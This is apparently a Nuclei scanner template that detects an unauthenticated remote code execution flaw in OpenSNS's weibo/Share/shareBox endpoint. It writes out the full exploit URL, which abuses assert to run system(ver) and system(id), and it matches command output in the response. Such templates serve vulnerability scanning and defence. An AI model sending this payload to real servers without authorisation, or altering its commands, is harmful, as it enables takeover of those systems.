id: opensns-rce

info:
  name: OpenSNS - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.
  reference:
    - http://www.0dayhack.net/index.php/2417/
    - https://www.pwnwiki.org/index.php?title=OpenSNS_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-77
  tags: opensns,rce

requests:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)'
      - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "((u|g)id=)"
          - "Microsoft Windows"
        condition: or

      - type: word
        words:
          - "/Application/"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/05/30